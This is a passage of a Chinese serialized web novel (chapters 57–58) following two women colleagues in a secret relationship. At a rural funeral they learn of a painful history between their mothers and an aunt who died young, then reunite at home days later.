胡大姨拭泪,“隔壁推给我的丧事一条龙服务,二妹去打电话了。”她又转身看向简越一家,“妹你先等等我,妈的老朋友我去招呼一下。” 说的简越一家。 周京芳老早就看见简桑了。 准确来说,她进门第一眼就瞅见了那个女人,谁让简桑就站在家门口。而扶着老人那位,五官出挑的年轻女人,不会是小时候拉着林筝墨的小煤炭吧?居然落落大方,和林筝墨长得一般水灵了。 但周京芳是绝不可上去打招呼的,她恨她家,有一长段渊源,那些不能让下一辈知道的孽缘。 “墨墨。”周京芳招呼着林筝墨过来,又让林鸿赶紧去堂屋里搭把手,无形中有意避开简越那边。 林筝墨松了口气,下意识觉得周京芳和简桑并不熟。 虽是房子是大,但这一二十号人往堂屋一挤,空间有限,最终还是汇到一块儿来。 主家要把正中间的地儿空出来,用来摆置灵台。两侧则站着一些亲戚,林筝墨和简越正好对站着,抬眼就能望向对方。 眼神交汇。 林筝墨:我来了。 简越:怎么个事。 林筝墨眨眨眼:等会儿说。 一旁的简桑也看见林筝墨了,眼神稍滞,又瞥见旁边的周京芳,眼底流露一点微不可察的情绪,但她也没怎么表现出来。 周京芳这人也怪,她偶尔偷偷看简桑,那眼神总带着一股说不清道不明的打量,这种打量一定不是善意的,但也不是全然的恶意,暗含的情愫过多,以至于你压根分不清是甜的咸的还是苦的。 老一辈的爱恨情仇 嗯 约莫两个钟头过去,夜已深,主家让大家都别守着了,真要守夜的话,下半夜再来。舟车劳顿不适合熬夜,便为远方来的亲戚安排了房间。 都在二楼。 可周京芳和简桑这些大人死活都不睡觉,可能是感情深,也可能是拉不下脸。 年轻人倒是无所谓,林筝墨和简越实在是撑不住了,被胡大姨带着上楼。 “小林,小简,你们俩今晚暂时睡一间房行吗?主要是有些房间没打理,暂时怠慢你们了。”她一脸疲态,眼睛里还有红血丝。 林筝墨点点头,“没关系没关系,我们可以一间的。” 简越附和:“我们自己弄就好了,别管我们了。” 胡大姨无心照料她俩,点点头折身走了。 这应该就是胡大姨的房间。灯打开,屋子里吊着米白色的窗帘,只拉了一半,衣柜是松木做的,柜面上面还有树的年轮。玻璃窗外亮着惨白的光,阳台垂直下去就是守夜的人,依稀还能听见他们在说话。 简越过去展了展床单,“过来躺会儿吧。” 林筝墨走过去,坐在别人的床上,多少有些拘谨。加上她从未参加过葬礼,这种氛围总让她神经紧绷。 “你睡得着吗?”她问简越。 简越摇头,“睡不着,但我们可以躺一会儿。” 林筝墨脱了鞋,和简越躺在一张床上。胡大姨的枕头有一股温馨的小麦味,亦或者是面粉味,总之和香水馥郁不太一样。 林筝墨靠着简越的肩膀,手指伸向半空,天花板上的灯光虚虚投在她的指缝里,光雾中有蚊子飞过,她眯了眯眼。 “你外婆好像很难过。” “你妈妈也是。” “那她们这群人应该都认识罢?”林筝墨忽然侧身,凝视着简越:“可是我妈妈怎么不认识你妈妈呢?” 简越眼神忽然失迷了。 她在想,要怎么回答这个问题呢? “你妈妈以前是不是在医院上班?” 林筝墨诧异,“你怎么知道?她是护士退休下来的。” “那我好像有一点点记忆但我不确定。”简越蹙眉,翻身与林筝墨面对面,“我记得小时候你妈妈好像骂过我妈妈。” “啊?”林筝墨犹如晴天霹雳。 不会吧? 周京芳这人虽然严厉,但绝不至于到骂街的地步。她是个体面人,加上从小就教林筝墨,要懂礼貌,别动不动就与人置气。 “你是不是记错了。” 简越也困惑,“我不知道是不是记错了,反正在我挺小的时候,有个女人来我妈的诊所,哭着坐了一上午,言辞激烈,说了很多过分的话。但我年纪太小了,听不懂内容。但我就记得她特凶,让我别哭了,再哭她要给我打针,我就记得她是个护士。”简越小心翼翼说:“我觉得她有点像你妈妈,你有你妈妈你年轻时候的照片吗?” 俩人的好奇心都被勾起,觉也不睡了,直接一骨碌起身。 林筝墨开始翻手机。 “有。” 点开相亲相爱的一家人,再点进周京芳的头像,进去,下滑。 一些忆往昔峥嵘。 恰巧周京芳在生日的时候分享了年轻的照片。 “这个,这九张全是。”林筝墨把手机递给简越。 照片里,周京芳单穿一件米白色的针织连衣裙,浅口皮质单鞋,颈间系着宝蓝色的小方巾,手提月牙包,优雅迷人。乍一看林筝墨真的和她有七八分相似,年轻的时候,这母女简直是一个模子刻出来的! 简越目不转睛地看着,翻阅,直到最后一张—— 是周京芳秋天的照片,穿着一间黑色长款薄大衣,照片里往那儿一站。 简越头皮发麻,小时候扬言要给她打针的女人出现了 “是你妈。” “绝对是。”—— 作者有话说:多给我留留言吧 最近码字蔫巴巴的[爆哭] 明天加更[彩虹屁] 第57章 第五十七章 简阿姨的恋人? 第五十七章 “是你妈。” “绝对是。” 由于周京芳那件黑色大衣给简越留下深刻印象。所以简越深信不疑, 绝对是,不会有第二种可能。 就是那种感觉——这个女人虽然没给我打过针,但我的噩梦里,她已经扎了我千百次了! “你确定?”林筝墨原本半信半疑, 但见简越过于坚定所以她有些动摇。 “我确定, 我真的确定。”简越把手机还给林筝墨, 小声嘀咕:“所以她们之间是不是有什么纠葛?” “啊。”林筝墨神经也紧绷起来,“我还以为她们压根不认识。” 小情侣的八卦之心被勾起来, 不聊个百来句还真的睡不了。 简越猜测:“难道是反目成仇的闺蜜?” 林筝墨:“可既然是闺蜜, 发生什么事情能骂起人来?我不是为我妈开脱啊,她有时候是严肃,但真的很少骂架。” 至少这么多年来, 林筝墨从没见过。 “她也不是那种骂。”简越解释:“我给你回溯一下当时的场景吧。就我蹲在地上玩皮球,我妈在看书,那本书名字我都记得, 叫什么《坎贝尔骨科手术学》,诊所里也没病人, 然后忽然之间, 你妈推门而入, 她先是正常说了两句,说着说着激动起来, 对着我妈一阵输出, 后面她还哭了。她一哭, 我便吓到了,我也哭,然后她说不许哭,再哭给我打针。” 林筝墨相当惊愕。 周京芳哭了? 这不可能。 周京芳只会让别人哭, 然后双手抱胸冷眼旁观,这比较符合林筝墨对她妈的认知。 林筝墨秀眉蹙紧,一针见血的:“但你这个描述有一点像小情侣吵架。” 简越要说的话忽然卡在喉咙。 咱们退一万步说啊。 退一万步。 假设。 如果。 “那也不是不可能?” 林筝墨五雷轰顶,脑皮层都烫了下,但很快冷静下来,连连摇头,“不可能,我对我妈还是了解的,她对这个相当排斥,知道张晓那事之后,还严厉提醒过我。” “那她们就不是吧。”简越挠挠耳朵,“但她们之间肯定发生过什么?” “所以发生过什么。”林筝墨也跟着挠头。 挠头二人组jpg. 挠头十分钟,什么都没挠出来,急死人了! “这最主要的原因是,我从来没听我妈说过你妈。”林筝墨一脸茫然,“就算是不交好,这么多年总得听她和我爸叨叨几句?” “对啊,而且我也是!我妈从未提及!而且我妈的诊所离你妈家也不远,抬头不见低头见的。” 两人对视一眼,简越忽然灵光乍现。 “不会吧她们是情敌?” 林筝墨下意识后仰,觉得这是无稽之谈,“你觉得我爸有那个魅力吗?” “倒是没有,呃——” 楼上二人讨论得热火朝天,殊不知楼下二人已经预备开炮了。 起因是,守到深更半夜确实熬不住,主家便招呼客人们赶紧上楼睡觉,屹立不倒的始终是周京芳和简桑,林鸿其实眼皮子早已耷拉,奈何老婆不发话,他也不敢退场。 直到凌晨三点。 连主家都瞌睡连连,周京芳却一双大眼睛直直瞪着灵台,香火让她的眼睛很不舒服,但也因此完全睡不着。简桑像个老神仙,静悄悄就坐在距离她不到一米的地方。 这种感觉就像有个人一直在你耳边挠痒痒,不停在说:来骂我呀~你来骂我呀~过了这个村没这个店了。 那时林鸿正打盹,忽然之间,周京芳开口道: “没想到在这里见到你。” 林鸿肩膀一抖,瞌睡瞬间醒了。 该来的还是来了。 “有什么没想到的。”简桑语气淡然:“在南城还不是抬头不见低头见的。” 她经常在诊所看见周京芳提着一个菜篮子路过,频率挺高,半个月一次吧。 “我都绕道走,还抬头不见低头见。”周京芳倒也直接。 简桑不予回应,闭目养神,有点不想和她歪缠的意思。 周京芳心头不痛快,故意要去刺激简桑:“又回到这里是什么感受?路过大院子的时候该是想到小妹了吧?今年她坟头的草又长高了,还是我和林鸿去除的。清明没看到坟前多束花,你怕是忘了。也是,几十年过去,什么都淡了。” 简桑虽然闭着眼睛,但话是听得清清楚楚。 她知道周京芳是故意,这么多年也摸清对方的性子,但听到“小妹”两个字时,眼皮没忍住阖动,眼睫毛轻轻颤了颤。 一双薄唇抿紧了,却一个字都漏不出来。 电光石火之间,道士拍了一下手里的乐器,震锣喧天,所有人从梦中肃然惊醒。 在滔天的金属噪音里,乒乒砰砰,锣打着锣,笛吹着笛,阴间乐曲夹杂强烈的悲鸣,在这濒临寂寥的破晓,火盆里纸钱噼里啪啦在燃烧。简桑睁开眼,凝视着眼前的一切,忽然想起,很多年前,也有一场葬礼—— 是周京田的。 * 清早六点,周京芳与林鸿拖着疲惫的身体上楼。 林鸿劝她:“都过这么些年了,你还是少说两句。” “我已经说了很多次了,京田不是你的亲妹妹,你就不要当理中客了。” 林鸿只得噤声,他理解,也不理解。 算了。 “说是墨墨在胡大姐房间里睡觉。”周京芳寻了一番,打开印象里的那一间,发现林筝墨确实在睡觉。 但旁边还躺着一个人是什么意思? 那人和林筝墨一般纤瘦,乍一看相当美丽,和林筝墨不相上下。 可在周京芳眼里,黑煤炭虽然变成了白煤炭,但你永远是煤炭。 周京芳回过头,费解:“她俩怎么睡一起?” “可能想着都是年轻人,顺带安排了。”林鸿倒是没当回事。 周京芳倒是在意极了,走近了看,房间里,林筝墨和简越睡姿虽说不算亲昵,却还是有肢体接触的。 林筝墨抱着简越的胳膊,半张脸贴在简越手臂上,睡相香甜。 周京芳:“不行,她俩连认识都不能认识。” 林鸿:“你想太多了,她俩本来就不认识,这种情况睡个觉再正常不过了,她俩私底下又不睡觉。” “现在是认识了。”周京芳倒吸一口凉气:“等会儿我得和墨墨打个预防针,泛泛之交,今天过了就过了。” 林鸿:“先走吧,先走吧,等会儿吵醒人家了。” 林鸿也很苦恼,周京芳平日很理智一个人,可一到周京田这件事上,便再也冷静不了了。 兴许她真的很爱她妹妹吧? 又或者…… 曾经最好的朋友和自己妹妹搞禁忌之恋。 后又因为一些变故死了一个。 嗯。 林鸿又理解她了。 * 林筝墨和简越睡得迷迷糊糊,对于发生的一切一无所知。 晌午时刻,楼下一声强烈的震鸣,好像是唢呐和管子,滴滴嗒嗒,终于把俩人吵醒了。 “唔——”简越伸手去摸枕边人,“宝宝。” “嘘。”林筝墨连忙捂住她的嘴,“好好说话。” 简越眨眨眼,头昏脑胀,确实有种空间错乱感。直到看到胡大姨的窗帘才反应过来。 “喔,喔。”她拍拍脑门,“收回那句宝宝。” “好啦好啦。”林筝墨在简越脸上戳戳,“反正也没人听到。” 葬礼本就是一件让人难过的事,加上对大人之间的关系也感到困惑,总之,她俩昨晚也没怎么睡好。 起床发现楼下已摆了十几桌丧席,农村红白喜事都是坝坝席,整个村的人几乎都来了,居然已是午饭时间了。 林筝墨下楼的时候正巧碰到周京芳,周京芳略显疲惫,整张脸像单薄的白纸,眼丝血红。 “妈。” “去吃饭。”周京芳指了角落的一桌,“下午我们就回去了。” “下午?”林筝墨自然是惊讶的。 周京芳颔首,“留在这里也不是办法,客人太多了,不给别人添麻烦,我们隔两日再来。” 林筝墨在人群中瞥见简越,只是看了眼,就这么一个微小的动作,居然也被周京芳捕捉到。 “对了墨墨,那简家的女儿,你少和她交往。小时候她就不带好你” “所以她就是小煤炭?”林筝墨心脏迅速跳了下,她有想过会不会是简越,但又觉得不至于,所以一直没问过。 周京芳不懂林筝墨的反应,视线越过林筝墨的肩膀,感慨:“她现在倒是长变了。”意思是,确实有几分姿色,可话锋一转:“但要远离好吗?听妈的。” “她家怎么了?” “一句两句说不清,回头我告诉你。”周京芳做了个去去去的手势,把林筝墨安排在离简越最远的一桌了。 席间,由于人太多,气氛明显没有昨夜那般凝重了,女女男男,老老少少,大家往那儿一坐,哪有个个悲伤的。 丧歌配美食,哭声中不乏欢声笑语,这是葬礼最矛盾、又最合理的地方。人类的悲欢并不相通,有人哭到滴水未进,粒米不吃;有人却在担心这顿饭能不能回本,不能的话,薅一包烟总是不错的。 你不能要求别人与你一样的悲伤,毕竟死的不是他家的人。 于是忽然想起那句话:笑,全世界便与你同声笑;哭,你便独自哭。[注] 林筝墨在这种溽热喧闹的氛围里食欲乏乏,她只吃了两片青菜,期间还有个小孩儿把她脚边的雪碧偷走了,水也没得喝。 她与简越发消息汇报: 林:【我下午就得回去了。】 简:【为什么?】 林:【我妈的安排。对了,我妈妈说我们小时候居然一起玩过诶。】 简:【我妈妈也和我说了。】 林:【那你还记得吗?】 简:【我妈一说我就记起来了,你小时候浑身软乎乎的,奶香奶香的,有一股香皂的味道,我每次贴着你的时候,你就咯咯笑。你还叫我姐姐姐姐的。】 林:【我妈说你是小煤炭。笑jpg.】 简:【??污蔑!!】 简:【那边好像有个小树林。】 林:【?】 简:【看你也吃不下。】 简:【过来幽会。】 ** 【留言加更】 ** 过来幽会。 简越发完这句,起身,迅速消失在人群中,没一会儿,她给林筝墨发了个定位。 林筝墨做贼心虚,朝周京芳的方向望了眼,发现周京芳和胡大姨正聊天,没心思管这边。 来了。 幽会。 溜逃是林筝墨的惯用伎俩,所有人抢大肘子的时候,她默默退出人群,消无踪迹。 这房子后面有一个小山坡,沿坡栽有一些青菜之类的,很多农村的构造都是这样,林筝墨往前走了大概百来米,发现一片树林。 真·小树林。 远远看见简越身影,她悄悄对林筝墨挥挥手,唇语:“过来!” 林筝墨径直朝她走去,两人躲在竹叶背后,颇有偷情风范。 “怎么了?” 简越伸手去拉林筝墨,两人牵在一起。 林筝墨四处瞅了眼,确定没人,才任由她牵着。 “没什么。” “我还以为你有什么事要和我说。” “有啊。”简越将林筝墨拉过来,把牵手变成了拥抱,她贴在她耳边说:“就是想着下午你就要回家啦。” “嗯。” “那我们两三天见不到面了。” 林筝墨其实也在想这个,但她不好意思说,没想到简越竟然和她一样的想法,瞬间心里暖融融的。 很难讲啊。 难道要说,我已经习惯和你待在一起了,分别两三天都会难过,我舍不得你,想无时无刻和你腻在一起,可是要开口的话,是不是显得我有点过分黏人了呢。 所以林筝墨什么都没说。 “怎么不说话?” “不知道说什么。”话到嘴边总是笨拙。 “那你有没有一点点舍不得我?” 林筝墨喉咙滑动了一下,脸颊微烫,“有吧。” 脚下踩着干枯的树叶,隐约听见蠕蠕啰啰的虫窸,林筝墨埋在简越的怀抱里,觉得这是永远都不会觉得腻烦的瞬间。 她先前其实还有些烦闷——关于周京芳让她远离简越的事,但一听到简越说话,闻到她身上的味道,什么都消解了。 “我们小时候真的见过?”林筝墨滚烫的脸颊贴在简越侧颊,“我居然什么都记不得了。” “你小时候特别乖。”简越回忆起那些遥远记忆,比划着:“你穿鞋小裙子,小皮鞋,小小只,扎着双马尾,一双眼睛圆溜溜的,特别有礼貌,我让你干嘛你就干嘛。” 这描述让林筝墨觉得陌生。 “我哪有这么乖。” “真的。”简越调侃她:“长大了没有小时候乖了,都不叫我姐姐了。” “胡编。” 她有点害羞,觉得反差很大。 抱了一会儿,她从简越怀里出来,索性蹲在小土坡上,捡起一根木棍,在软糯糯的泥土上戳戳。简越则与她一同蹲下,两人在发呆,写字,画画,静听时间溜走。 不论做什么,不说话也好,只要待在一起,心底就会觉得安宁。 过了一会儿,简越才说:“暑假快到了,我们要不要安排一下?” “嗯。”林筝墨看着泥土上写的“煤炭”两个字,又涂掉,徐徐道:“我先搬家,等家里布置好了,择个时间,我们去旅游吧。” “好呀,你想去哪?” “我想去生命力旺盛的地方。”林筝墨给到一个很含糊的概念,又说:“最好是和我们现在的生活不沾边,但我也不知道具体去哪里。” 她想逃离,逃到一个无人知晓的地方,好偷偷品尝一下,到底什么是自由的味道。 她觉得自己的生活过于循规蹈矩,她连旅游都很少去远的地方。如果一直这般一尘不变就算了,偏偏最近内心躁动不宁,好像什么东西破茧而出,但又缺乏一点勇气。 她不确定简越能不能懂她的意思。 简越静静观察着她,点点头。 “好,我来安排。” 不远处,锣声又起,厚重的铁皮拍打在一起,两人的耳朵都受了惊。 林筝墨扔掉手里的木棍,起身,“我先下去了。” “等一下。”简越伸出手,要林筝墨拉她起来,“我腿麻了。” 林筝墨伸手,借她一道力,简越果真站起来,虚虚软软贴在林筝墨肩膀上,“哎,腿真麻了,给我揉揉再走。” 这两天几乎没有什么亲密的肢体接触,连昨晚也只是抱了一会儿。 不做不代表不想,只是觉得不合适。 现在简越靠在林筝墨怀里,呼吸黏湿,林筝墨心头一动,忽然心头痒痒,她偏过头,捧着简越的脸颊,也不管在哪里,忽然朝简越吻过去。她含着简越的嘴唇,熟稔地咬吮着。 天空被树林包裹着,一片片绿叶像砌成的绿色石墙,将她们庇护着,她们是躲在井底里的人,是秘密相爱的人。 简越被吻的时候明显愣了一下,在林筝墨柔软嘴唇的攻势下沉溺了。 她们咬着彼此的唇,接吻只是情不自禁的动作,没有理由,也许只是一时兴起,或者说只能通过这样的方式来让内心得到安宁。 大概在锣鼓忽然停滞那一刻,林筝墨才停下来。 眼眶竟然不自觉泛着泪光,她不知道为什么忽然有点想哭,是因为锣太响,还是一些说不清道不明的别的。 嘴唇因为吸吮略微泛红,她抿了抿唇,“对不起。” “对不起什么?” “没给你揉腿。” 简越笑,“腿已经不麻了。” 但嘴麻了。 * 周京芳确实好一阵没看见林筝墨,待到她真要打电话寻人时,林筝墨又突然出现在她的视线里,她也不知道她跑哪里去了。 “很辣吗?”周京芳直勾勾盯着林筝墨的嘴唇。 “嗯?” “我说菜是不是很辣,你嘴巴辣成这样?” 罪魁祸首·简·小米辣,此刻正巧从大门进来,就在林筝墨身后,她翩然而来,翩然而去,连眼神都不曾留下一个。 周京芳对她俩的生疏感到很满意,看来连朋友都没得做,放下心来。 “去喝口水吧,这菜确实加了小米辣,你吃不惯的。” 林筝墨哦了一声,到客厅里去喝水,又碰见简·小米辣了。 小米辣直勾勾盯着林筝墨,点了点自己的嘴唇,提示林筝墨:你嘴巴被我吻得很红。 林筝墨接了杯水,觑她一眼,头也不回地走了。 下午两点,林鸿驱车出发,当林筝墨坐上车时,简越站在角落和她发消息: 【一路顺风。】 【我会想你。】 【呜呜呜呜。】 林筝墨回复: 【我妈说你是小米辣。】 【把我嘴都辣红了。】 简越:【下次咱们辣别的地方。】 林筝墨放下手机,偏过头,耳尖不自觉泛红可恶! “三天后过来她们应该走了。”周京芳对林鸿说。 林筝墨侧耳聆听,她倒是要听听怎么个事。 “嗯,那也不一定。”林鸿与她打哑谜:“越是不想见越要见,你看今天你俩面对面多少次了。” “那也是胡大姐在,我不好发作。未必在人家妈妈的葬礼上吵架。” 林鸿反而笑,“我不信这把年纪了,你还真和她吵得起来。京田那多少年前的事了,事实你也该接受了。” 林鸿语气有点轻飘飘的。 周京芳果然很生气:“事实?事实就是她害死我妹妹!你让我原谅?” 林筝墨默不作声听着,太阳穴咚咚直跳。她有个早年逝世的小姨,叫周京田。林筝墨见过她的遗像,小时候一直挂在外婆家,画像上的人清秀美丽,和妈妈是不一样的风格,白衬衣、中长发,是更加清秀、文艺的模样,依稀记得她那清亮柔美的眼神。虽然她没见过她,却颇有好感。 不过,小姨一直是家里话题的禁区。 不许问,问了不会回答。 车里的空调在呼呼地吹,却觉得燥闷。 后视镜里,林鸿眉头蹙成褶子,沉默半晌,才说:“其实我们都有责任,我心里也难受。” 周京芳忽然偏过头去看窗外,缄默不语,沉默的可怕。 但林筝墨觉得她可能在哭。 信息量过多,也许他俩情绪上头,也没顾及第三个人在这里。以他们对林筝墨的教育理念,若是平常,是绝不会让林筝墨知道这些的。 所以—— 小姨可能会是简阿姨的恋人吗?林筝墨胡思乱想着。 这已经不是震惊的地步了,是觉得不可思议。难道简阿姨不结婚的理由是因为这个吗?那她这些年都是怎么熬过来的啊。 “你以为我想说这些?”周京芳情绪凄迷,吸了口气:“我已经好久好久没去想这件事,要不是在这里见到她的话,我也不会这么伤心。可我一见到她,一想到那件事就伤心,伤心,很伤心。” “我理解。”林鸿转身对林筝墨说:“给你妈妈递张纸。” 林筝墨像个机器人一样执行,唰唰抽了两张纸,把纸搭在周京芳肩上,白纸溜走了,却始终看不见她哭的。 原来妈妈哭的时候也不喜欢出声。 “所以墨墨。”周京芳带着鼻音,话题忽然到林筝墨这里,“你记住,不能,也不许和简家不要有来往。” 林鸿搭腔:“她们本来也不认识嘛!” 林筝墨怅然 且不说她和简越真正的关系。 若是周京芳知道她们仅仅只是同事,恐怕都要让她当心三分。 要真知道她们在恋爱,会引起何等轩然大波,是想也不敢想的地步。 林筝墨曾想过,催婚的事,可以慢慢拖。她和简越谈恋爱,也可以慢慢来。譬如她对简越说过,三十五岁我公开你,是因为她觉得自己可以慢慢改变大人的想法,她对未来是持有乐观态度的,她觉得再难,再不济也就是时间问题。 可现在,好像她们永远都只能做小偷了。 愈发觉得自己好单纯。 霎时,烦恼涂满整个车窗,林筝墨神态凄凉,一张秀美的脸几近苍白。她忽然发现阳光也变得脏糊糊的,窗外的风景变得模糊,她在想,林鸿到底多久没擦玻璃窗了。 眨了下眼睛,眼泪啪嗒一声滴落,顺着眼角滑落,忽的感到湿热,才意识到自己在哭。原来不是窗户脏,是她泪眼模糊了,她慌忙擦了擦,是比周京芳更厉害的高手,藏匿无声。 窗外,乡村小道曲过来,又折过去,方向盘左一圈,右一圈,不知道多少次。耳边,葬礼的丧锣早已远去,但锣鼓的震鸣回荡在她的胸腔里,阴郁而饱闷。 这不是一场葬礼。 应该是两场。 至少什么萌芽的东西忽然死掉了—— 作者有话说:我又回来啦!前几天精神不佳,码字都是吊着。 今天终于感觉好些了,也不知道是不是中暑了。 美美更新!今日加更奉上~ 希望明天也能加~[彩虹屁] 【注】笑,全世界便与你同声笑;哭,你便独自哭。来自《红玫瑰与白玫瑰》 第58章 第五十八章 甜味简主任 第五十八章 当天下午, 趁周京芳不在,林筝墨试着找林鸿聊了一次。 “妈下午到底在哭什么?” “其实就一些以前的事,但你也没有了解的必要。” “可我想知道。”林筝墨大胆猜测:“所以妈妈和简阿姨是朋友吗?” 林鸿虽然纠结但还是回答了:“是,以前她们是最要好的朋友。” “所以小姨又是怎么回事?” 此话一出, 林鸿尴尬失语, 明显不愿回答。 林筝墨势必是要追问下去的:“爸, 你们总说我们是一家人,那小姨也是我的家人, 我连这点知情权都没有吗?” 那时周京芳在卧室补觉, 林鸿隐隐有些忌惮,但拗不过林筝墨,只得挑着捡着说。 “你可千万别告诉你妈。”他压低了声音:“就, 你妈和那个简阿姨,是发小,以前关系特别好。而你小姨呢, 后来和那简阿姨之间发生了一些事,你妈接受不了。” “什么事?” “我不能说。” 其实林鸿的表情已经说明了一切, 那种谈性色变的神态太过于明显了。 显而易见。 简阿姨和小姨是在谈恋爱吧? 林鸿不可能承认, 林筝墨也不再追问。 “我还有一个问题。” “你说。” “小姨的死, 和简阿姨有直接关系吗?” “其实是没有的。”林鸿在这件事上没有犹豫,“你小姨不是她害死的, 只能是有一定的责任, 但要说责任, 说不清,谁都有责任。” 接着林鸿做了个噤声的手势,低声道:“言多必失,打住, 先前说的那些,当没发生过。” “好。” 见林鸿不可能再说下去,林筝墨便不再追问了。 * 那日过后,林筝墨假装什么都不知道,继续投入到工作中。 简越原本说三天后回家,但中途遇到一点变故,直接变成了一周。 七天,七天是什么概念,林筝墨觉得自己七万年没见到那个女人了。 没有简越的日子,像一首没有起伏的乐律,枯燥至极。 恍然六月已至下旬,真真切切感受到夏天的味道,午后总能听见橡树上的蝉鸣。 偶尔,林筝墨坐在办公室发呆,阳光透过玻璃窗落在办公室的花岗石地板上,地板上的图案与日光融合,像一只画笔掉落在地上随意洒开的斑点。 斑点。 时间。 那种虚虚晃晃,影影绰绰的感觉,仿佛什么都不存在了。 “林老师,你申请宿舍了呀?”隔壁张老师发来贺电:“几日搬家呢?” 林筝墨回过神来,“明天。” 明天简越回家,她们一起布置。 “噢,怎么突然想到来这边住?”张老师拉着凳子坐过来,靠林筝墨近些,“我记得你以前拒绝的呀?” “上班方便。” “也是,懒得通勤,还省房租。”张老师忽然想起:“那你要和简主任成邻居啦!” “对啊。” “那可幸福,简主任肯定是个不错的邻居。”张老师有感而发:“她又养花,又会做饭,人又体贴,待人真诚,你俩后面肯定处得不错。” “已经处得不错了。”林筝墨唇角有微不可察的笑意,“她”忍不住品味了一番,“确实不错。” 间隙,某一秒钟,忽然又很想简越,这种思念像墨水针扎进皮肤里,有点像刺青,图案形成了,就很难抹掉了,无时无刻,如影随形。 张老师热心:“需要我来帮忙吗?” “不劳烦您了,我叫搬家公司了。”上课铃声忽然响起,是万年不变的《菊次郎的夏天》,滴滴嘟嘟的节奏,林筝墨拿起教案,对张老师含笑,“先去上课了。” “好嘞~” * 课程是重复的,重复的focus on、deal with重复的短语,重复的介词,重复的授课方式,重复的 直到下课铃声响起。 “喂?你什么时候回来?”——林筝墨说这句话的时候,她正一只手拎着电脑包,行走在聒噪的走廊上。 学生们忙着打闹,没人关心她在打电话。 “明天。”电话里,简越明知故问:“怎么啦?” 林筝墨到走廊尽头拐了个弯儿,声音小得像蚊子似的:“我想你了。” 她想念她,想念到每路过办公室一次,就要往那个空座位看一眼。她明明知道她不在,但就是忍不住去看,这是一种无意义的肢体动作。 这种想念不止于此,她觉得自己的生活发生了翻天覆地的变化。 她呼吸的空气,她把那种氧气定义为“没有简越的氧气”,吸入过后,就变成了死尸,是没有生机的。她发现,自己对简越产生了一种莫大的依赖,这种依恋似乎不该诞生,但她确实情难自禁了。 听筒里,简越发出笑声。 “我也想你。” 简越的声音混着走廊的阳光,一并落在林筝墨的脸上,琥珀色的瞳仁里荡漾着清莹的光芒,那苍白的皮肤终于恢复了一点血色,她觉得好受多了。 “那下班之后可以打视频吗?” “当然了,还有什么想做的吗?” “明天还要吃糖醋排骨、上海青、要你抱着我睡觉。” 说了这么多,最后一句才是重点吧。电话里简越乐不可支,连连答应。 “还有吗?” “还有。”林筝墨已经到办公室门口了,“但只能晚上再说了。” “嗯~林老师,我知道你想说什么”简越音调发生了微妙的变化。 “哼。” 林筝墨瞬间挂断了电话,脸色微红。上班不开车,上班,不!开!车! 微信忽然弹出一条消息。 简越:【昨晚做了一个关于你的梦。】 林筝墨:【?】 简越:【梦里在春天。】 林筝墨:【拉黑了。】 故意撩人,坏女人。 但和简越通电话之后,林筝墨情绪真的好多了,那种空气,称之为“有简越的空气”,死尸又活过来了。 之后林筝墨心情都不错,直到晚上回到自己的小公寓,发现门上挂着外卖,下单人是:老简。 小林拎着老简点的外卖,推开门家里还有猫咪在等她,忽然觉得又幸福了。 可林筝墨是小鸟胃,每次简越给她点外卖,她都吃不完,要浪费好多。 今天老简好像不上道,居然点得比平常还多。 【我怎么吃得完啊。】 【多吃点,别饿着。】 【能打视频吗?】 等了三分钟,简越都没再回。 林筝墨一通视频拨过去,结果简越秒挂。 【在忙。】 她盯着聊天框,以为简越还会回复点什么,但没有后续,心里自然不是滋味。简越从来没有这样莫名其妙晾着她,明明上午说好的,说了下班之后打视频。 简越忘了吗? 按理说,胡婆婆昨天已经下葬,今天是没有什么特别事要忙的,就算是忙,简越也从来不会是这样说话的。思来想去只有一个原因:敷衍了。 敷衍了敷衍了。 林筝墨掰开筷子戳在米饭里,却没有食欲,满脑子都是:敷衍了敷衍了,不爱了不爱了,简越你死定了你死定了。 “泡泡。”林筝墨朝小猫嘬嘬,“过来过来。” 小猫被迫上岗,被林筝墨揉来揉去,“泡泡,摸摸。”又嘟哝:“这世界上最不能相信的,就是漂亮女人说的漂亮话。” “喵~” “你懂对不对?”林筝墨在它脑袋上狠狠揉一把,“不管你多想她,想到睡不着觉,不想上班,她根本就不会和你一样!不像我们泡泡,吃一根猫条,就能贴我好久,她呢,她就是个瞎子嘛,她什么都看不到,她就是一个大坏蛋,大大大大坏蛋。” 滴滴滴滴—— 密码锁发出触键的声音。 泡泡迅速从林筝墨怀里窜跳出来,林筝墨还没来得及反应,门已经打开了,下一秒,某个坏女人便出现在她眼前。 “泡泡~~”简越弓下腰,眉开眼笑,现在她已经是泡泡的御用铲屎官,泡泡自然待见她,简越和小猫温存的同时看向林筝墨,“Hello?” 坏女人,开心得说洋文是吧。 林筝墨惊讶她忽然出现,但心头的怒气还未散去,这墙隔音不好,也不知道刚刚骂她的话听见没。 看样子是没听见。 不是说好明天回来,搞什么惊喜。难道我林筝墨需要这种惊喜吗?好吧,也是需要的。 但林筝墨绝不投降!关于简越刚刚挂电话之事,她要惩罚她! “咦?”简越摸完小猫站起身来,“你干嘛捏?” 林筝墨眼皮半掀,懒懒道:“什么?” 简越张开双手,“林老师,您的爱妻七日未归家,在外吹风日晒,饱经风霜,翻山越岭来找您,您居然还坐在沙发上,不意思一下吗?” 林筝墨突然觉得简越特好笑,别说,几日未见,她觉得简越好像是晒黑了一点点点。 但她不能笑。 她要惩罚她! “什么?”林筝墨故意拧眉,稍稍冷眼看她:“谁是我爱妻?我有且只有一个爱宠,是泡泡。” 简越觉得顶级的刺耳,完全听不了这个,肩上的挎包滑溜往地上一摞,气冲冲朝林筝墨走过去。 那时林筝墨在假装吃饭,实际上是磨磨蹭蹭一口没吃,简越走到她面前,把茶几上的外卖往桌子上挪了一点点,把林筝墨手里的筷子一抽,一搁。 不管三七二十一,跨坐在林筝墨双腿上,捏着她的手腕,熟练地往沙发上一压。 林老师不情不愿又自甘堕落地被压住了呢。 “林筝墨——” 简越的柔软贴在林筝墨的柔软上,故意贴得很近,呼吸时,磨蹭的起伏很明显。 像一把烈火燃烧着,酥痒一路向下,火热噙在林筝墨的腹部,几日不见,敏感得如洪水猛兽般涌来。 但她没有回应简越,只是直勾勾看着她,眼里带着欲光,“干嘛。” “你怎么不亲亲我抱抱我?” “你是谁?”林筝墨斜躺着,带一点傲娇又带点冷漠,很明显是在伪装,明明身体已经在给回应,嘴巴还像石头那般硬,实在诱人。 “我刚刚快进电梯了,没信号所以挂你电话。” “哦~” “快说你想我~” “不说。” 